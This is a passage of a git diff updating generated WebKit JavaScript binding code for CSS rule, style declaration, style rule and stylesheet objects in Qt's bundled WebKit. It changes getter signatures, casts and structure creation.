+JSC::JSValue jsCSSRuleVARIABLES_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleWEBKIT_KEYFRAMES_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleWEBKIT_KEYFRAME_RULE(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.cpp
index 0bb58c2..9cb7f1d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.cpp
@@ -39,8 +39,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSRuleList);
 
 static const HashTableValue JSCSSRuleListTableValues[3] =
 {
-    { "length", DontDelete|ReadOnly, (intptr_t)jsCSSRuleListLength, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSRuleListConstructor, (intptr_t)0 },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleListLength), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSRuleListConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -79,7 +79,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -102,7 +102,7 @@ bool JSCSSRuleListConstructor::getOwnPropertyDescriptor(ExecState* exec, const I
 
 static const HashTableValue JSCSSRuleListPrototypeTableValues[2] =
 {
-    { "item", DontDelete|Function, (intptr_t)jsCSSRuleListPrototypeFunctionItem, (intptr_t)1 },
+    { "item", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSRuleListPrototypeFunctionItem), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -193,24 +193,25 @@ bool JSCSSRuleList::getOwnPropertySlot(ExecState* exec, unsigned propertyName, P
     return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
 }
 
-JSValue jsCSSRuleListLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleListLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRuleList* castedThis = static_cast<JSCSSRuleList*>(asObject(slot.slotBase()));
+    JSCSSRuleList* castedThis = static_cast<JSCSSRuleList*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSRuleList* imp = static_cast<CSSRuleList*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsCSSRuleListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSRuleListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSRuleList* domObject = static_cast<JSCSSRuleList*>(asObject(slot.slotBase()));
+    JSCSSRuleList* domObject = static_cast<JSCSSRuleList*>(asObject(slotBase));
     return JSCSSRuleList::getConstructor(exec, domObject->globalObject());
 }
-void JSCSSRuleList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSCSSRuleList::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     for (unsigned i = 0; i < static_cast<CSSRuleList*>(impl())->length(); ++i)
         propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
+     Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 JSValue JSCSSRuleList::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -233,10 +234,10 @@ JSValue JSC_HOST_CALL jsCSSRuleListPrototypeFunctionItem(ExecState* exec, JSObje
 }
 
 
-JSValue JSCSSRuleList::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSCSSRuleList::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    JSCSSRuleList* thisObj = static_cast<JSCSSRuleList*>(asObject(slot.slotBase()));
-    return toJS(exec, thisObj->globalObject(), static_cast<CSSRuleList*>(thisObj->impl())->item(slot.index()));
+    JSCSSRuleList* thisObj = static_cast<JSCSSRuleList*>(asObject(slotBase));
+    return toJS(exec, thisObj->globalObject(), static_cast<CSSRuleList*>(thisObj->impl())->item(index));
 }
 JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CSSRuleList* object)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.h b/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.h
index 8b4a59d..dc9acb5 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSRuleList.h
@@ -21,7 +21,6 @@
 #ifndef JSCSSRuleList_h
 #define JSCSSRuleList_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -44,12 +43,12 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
 
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
     CSSRuleList* impl() const { return m_impl.get(); }
 
@@ -57,7 +56,7 @@ private:
     RefPtr<CSSRuleList> m_impl;
 protected:
     static const unsigned StructureFlags = JSC::OverridesMarkChildren | JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);
 };
 
 JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CSSRuleList*);
@@ -73,7 +72,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSRuleListPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -85,8 +84,8 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsCSSRuleListPrototypeFunctionItem(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSRuleListLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSRuleListConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSRuleListLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSRuleListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.cpp
index 5fbf986..9195aef 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.cpp
@@ -31,6 +31,7 @@
 #include "KURL.h"
 #include <runtime/Error.h>
 #include <runtime/JSNumberCell.h>
+#include <runtime/JSString.h>
 #include <runtime/PropertyNameArray.h>
 #include <wtf/GetPtr.h>
 
@@ -44,10 +45,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSStyleDeclaration);
 
 static const HashTableValue JSCSSStyleDeclarationTableValues[5] =
 {
-    { "cssText", DontDelete, (intptr_t)jsCSSStyleDeclarationCssText, (intptr_t)setJSCSSStyleDeclarationCssText },
-    { "length", DontDelete|ReadOnly, (intptr_t)jsCSSStyleDeclarationLength, (intptr_t)0 },
-    { "parentRule", DontDelete|ReadOnly, (intptr_t)jsCSSStyleDeclarationParentRule, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSStyleDeclarationConstructor, (intptr_t)0 },
+    { "cssText", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleDeclarationCssText), (intptr_t)setJSCSSStyleDeclarationCssText },
+    { "length", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleDeclarationLength), (intptr_t)0 },
+    { "parentRule", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleDeclarationParentRule), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleDeclarationConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -86,7 +87,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -109,14 +110,14 @@ bool JSCSSStyleDeclarationConstructor::getOwnPropertyDescriptor(ExecState* exec,
 
 static const HashTableValue JSCSSStyleDeclarationPrototypeTableValues[9] =
 {
-    { "getPropertyValue", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionGetPropertyValue, (intptr_t)1 },
-    { "getPropertyCSSValue", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionGetPropertyCSSValue, (intptr_t)1 },
-    { "removeProperty", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionRemoveProperty, (intptr_t)1 },
-    { "getPropertyPriority", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionGetPropertyPriority, (intptr_t)1 },
-    { "setProperty", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionSetProperty, (intptr_t)3 },
-    { "item", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionItem, (intptr_t)1 },
-    { "getPropertyShorthand", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionGetPropertyShorthand, (intptr_t)1 },
-    { "isPropertyImplicit", DontDelete|Function, (intptr_t)jsCSSStyleDeclarationPrototypeFunctionIsPropertyImplicit, (intptr_t)1 },
+    { "getPropertyValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionGetPropertyValue), (intptr_t)1 },
+    { "getPropertyCSSValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionGetPropertyCSSValue), (intptr_t)1 },
+    { "removeProperty", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionRemoveProperty), (intptr_t)1 },
+    { "getPropertyPriority", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionGetPropertyPriority), (intptr_t)1 },
+    { "setProperty", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionSetProperty), (intptr_t)3 },
+    { "item", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionItem), (intptr_t)1 },
+    { "getPropertyShorthand", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionGetPropertyShorthand), (intptr_t)1 },
+    { "isPropertyImplicit", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSStyleDeclarationPrototypeFunctionIsPropertyImplicit), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -171,7 +172,7 @@ bool JSCSSStyleDeclaration::getOwnPropertySlot(ExecState* exec, const Identifier
     }
     bool ok;
     unsigned index = propertyName.toUInt32(&ok, false);
-    if (ok && index < static_cast<CSSStyleDeclaration*>(impl())->length()) {
+    if (ok) {
         slot.setCustomIndex(this, index, indexGetter);
         return true;
     }
@@ -217,33 +218,36 @@ bool JSCSSStyleDeclaration::getOwnPropertySlot(ExecState* exec, unsigned propert
     return getOwnPropertySlot(exec, Identifier::from(exec, propertyName), slot);
 }
 
-JSValue jsCSSStyleDeclarationCssText(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleDeclarationCssText(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleDeclaration* castedThis = static_cast<JSCSSStyleDeclaration*>(asObject(slot.slotBase()));
+    JSCSSStyleDeclaration* castedThis = static_cast<JSCSSStyleDeclaration*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleDeclaration* imp = static_cast<CSSStyleDeclaration*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->cssText());
+    JSValue result = jsStringOrNull(exec, imp->cssText());
+    return result;
 }
 
-JSValue jsCSSStyleDeclarationLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleDeclarationLength(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleDeclaration* castedThis = static_cast<JSCSSStyleDeclaration*>(asObject(slot.slotBase()));
+    JSCSSStyleDeclaration* castedThis = static_cast<JSCSSStyleDeclaration*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleDeclaration* imp = static_cast<CSSStyleDeclaration*>(castedThis->impl());
-    return jsNumber(exec, imp->length());
+    JSValue result = jsNumber(exec, imp->length());
+    return result;
 }
 
-JSValue jsCSSStyleDeclarationParentRule(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleDeclarationParentRule(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleDeclaration* castedThis = static_cast<JSCSSStyleDeclaration*>(asObject(slot.slotBase()));
+    JSCSSStyleDeclaration* castedThis = static_cast<JSCSSStyleDeclaration*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleDeclaration* imp = static_cast<CSSStyleDeclaration*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentRule()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->parentRule()));
+    return result;
 }
 
-JSValue jsCSSStyleDeclarationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleDeclarationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleDeclaration* domObject = static_cast<JSCSSStyleDeclaration*>(asObject(slot.slotBase()));
+    JSCSSStyleDeclaration* domObject = static_cast<JSCSSStyleDeclaration*>(asObject(slotBase));
     return JSCSSStyleDeclaration::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSStyleDeclaration::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -255,17 +259,18 @@ void JSCSSStyleDeclaration::put(ExecState* exec, const Identifier& propertyName,
 
 void setJSCSSStyleDeclarationCssText(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSStyleDeclaration* imp = static_cast<CSSStyleDeclaration*>(static_cast<JSCSSStyleDeclaration*>(thisObject)->impl());
+    JSCSSStyleDeclaration* castedThisObj = static_cast<JSCSSStyleDeclaration*>(thisObject);
+    CSSStyleDeclaration* imp = static_cast<CSSStyleDeclaration*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setCssText(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
 }
 
-void JSCSSStyleDeclaration::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSCSSStyleDeclaration::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     for (unsigned i = 0; i < static_cast<CSSStyleDeclaration*>(impl())->length(); ++i)
         propertyNames.add(Identifier::from(exec, i));
-     Base::getOwnPropertyNames(exec, propertyNames);
+     Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 JSValue JSCSSStyleDeclaration::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -358,7 +363,7 @@ JSValue JSC_HOST_CALL jsCSSStyleDeclarationPrototypeFunctionItem(ExecState* exec
     unsigned index = args.at(0).toInt32(exec);
 
 
-    JSC::JSValue result = jsStringOrNull(exec, imp->item(index));
+    JSC::JSValue result = jsString(exec, imp->item(index));
     return result;
 }
 
@@ -391,10 +396,10 @@ JSValue JSC_HOST_CALL jsCSSStyleDeclarationPrototypeFunctionIsPropertyImplicit(E
 }
 
 
-JSValue JSCSSStyleDeclaration::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue JSCSSStyleDeclaration::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    JSCSSStyleDeclaration* thisObj = static_cast<JSCSSStyleDeclaration*>(asObject(slot.slotBase()));
-    return jsStringOrNull(exec, thisObj->impl()->item(slot.index()));
+    JSCSSStyleDeclaration* thisObj = static_cast<JSCSSStyleDeclaration*>(asObject(slotBase));
+    return jsStringOrNull(exec, thisObj->impl()->item(index));
 }
 JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CSSStyleDeclaration* object)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.h b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.h
index 48c6a9b..6372894 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleDeclaration.h
@@ -21,7 +21,6 @@
 #ifndef JSCSSStyleDeclaration_h
 #define JSCSSStyleDeclaration_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -46,12 +45,12 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
 
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
     CSSStyleDeclaration* impl() const { return m_impl.get(); }
 
@@ -59,10 +58,10 @@ private:
     RefPtr<CSSStyleDeclaration> m_impl;
 protected:
     static const unsigned StructureFlags = JSC::OverridesMarkChildren | JSC::OverridesGetPropertyNames | JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
-    static JSC::JSValue indexGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue indexGetter(JSC::ExecState*, JSC::JSValue, unsigned);
 private:
     static bool canGetItemsForName(JSC::ExecState*, CSSStyleDeclaration*, const JSC::Identifier&);
-    static JSC::JSValue nameGetter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+    static JSC::JSValue nameGetter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 };
 
 JSC::JSValue toJS(JSC::ExecState*, JSDOMGlobalObject*, CSSStyleDeclaration*);
@@ -78,7 +77,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSStyleDeclarationPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -97,11 +96,11 @@ JSC::JSValue JSC_HOST_CALL jsCSSStyleDeclarationPrototypeFunctionGetPropertyShor
 JSC::JSValue JSC_HOST_CALL jsCSSStyleDeclarationPrototypeFunctionIsPropertyImplicit(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSStyleDeclarationCssText(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSStyleDeclarationCssText(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSStyleDeclarationCssText(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSStyleDeclarationLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSStyleDeclarationParentRule(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSStyleDeclarationConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSStyleDeclarationLength(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSStyleDeclarationParentRule(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSStyleDeclarationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.cpp
index d44bb5c..28d9dc7 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.cpp
@@ -38,9 +38,9 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSStyleRule);
 
 static const HashTableValue JSCSSStyleRuleTableValues[4] =
 {
-    { "selectorText", DontDelete, (intptr_t)jsCSSStyleRuleSelectorText, (intptr_t)setJSCSSStyleRuleSelectorText },
-    { "style", DontDelete|ReadOnly, (intptr_t)jsCSSStyleRuleStyle, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSStyleRuleConstructor, (intptr_t)0 },
+    { "selectorText", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleRuleSelectorText), (intptr_t)setJSCSSStyleRuleSelectorText },
+    { "style", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleRuleStyle), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSStyleRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -79,7 +79,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -141,25 +141,27 @@ bool JSCSSStyleRule::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSCSSStyleRule, Base>(exec, &JSCSSStyleRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSStyleRuleSelectorText(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleRuleSelectorText(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleRule* castedThis = static_cast<JSCSSStyleRule*>(asObject(slot.slotBase()));
+    JSCSSStyleRule* castedThis = static_cast<JSCSSStyleRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleRule* imp = static_cast<CSSStyleRule*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->selectorText());
+    JSValue result = jsStringOrNull(exec, imp->selectorText());
+    return result;
 }
 
-JSValue jsCSSStyleRuleStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleRuleStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleRule* castedThis = static_cast<JSCSSStyleRule*>(asObject(slot.slotBase()));
+    JSCSSStyleRule* castedThis = static_cast<JSCSSStyleRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSStyleRule* imp = static_cast<CSSStyleRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    return result;
 }
 
-JSValue jsCSSStyleRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSStyleRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSStyleRule* domObject = static_cast<JSCSSStyleRule*>(asObject(slot.slotBase()));
+    JSCSSStyleRule* domObject = static_cast<JSCSSStyleRule*>(asObject(slotBase));
     return JSCSSStyleRule::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSStyleRule::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -169,7 +171,8 @@ void JSCSSStyleRule::put(ExecState* exec, const Identifier& propertyName, JSValu
 
 void setJSCSSStyleRuleSelectorText(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSStyleRule* imp = static_cast<CSSStyleRule*>(static_cast<JSCSSStyleRule*>(thisObject)->impl());
+    JSCSSStyleRule* castedThisObj = static_cast<JSCSSStyleRule*>(thisObject);
+    CSSStyleRule* imp = static_cast<CSSStyleRule*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setSelectorText(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.h
index fc72cbf..10cff11 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleRule.h
@@ -40,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -57,7 +57,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSStyleRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -66,10 +66,10 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSStyleRuleSelectorText(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSStyleRuleSelectorText(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSStyleRuleSelectorText(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSStyleRuleStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSStyleRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSStyleRuleStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSStyleRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.cpp
index e2d45bc..881ae80 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSStyleSheet.cpp
@@ -40,10 +40,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSStyleSheet);
 
 static const HashTableValue JSCSSStyleSheetTableValues[5] =
 {
-    { "ownerRule", DontDelete|ReadOnly, (intptr_t)jsCSSStyleSheetOwnerRule, (intptr_t)0 },
-    { "cssRules", DontDelete|ReadOnly, (intptr_t)jsCSSStyleSheetCssRules, (intptr_t)0 },
-    { "rules", DontDelete|ReadOnly, (intptr_t)jsCSSStyleSheetRules, (intptr_t)0 },
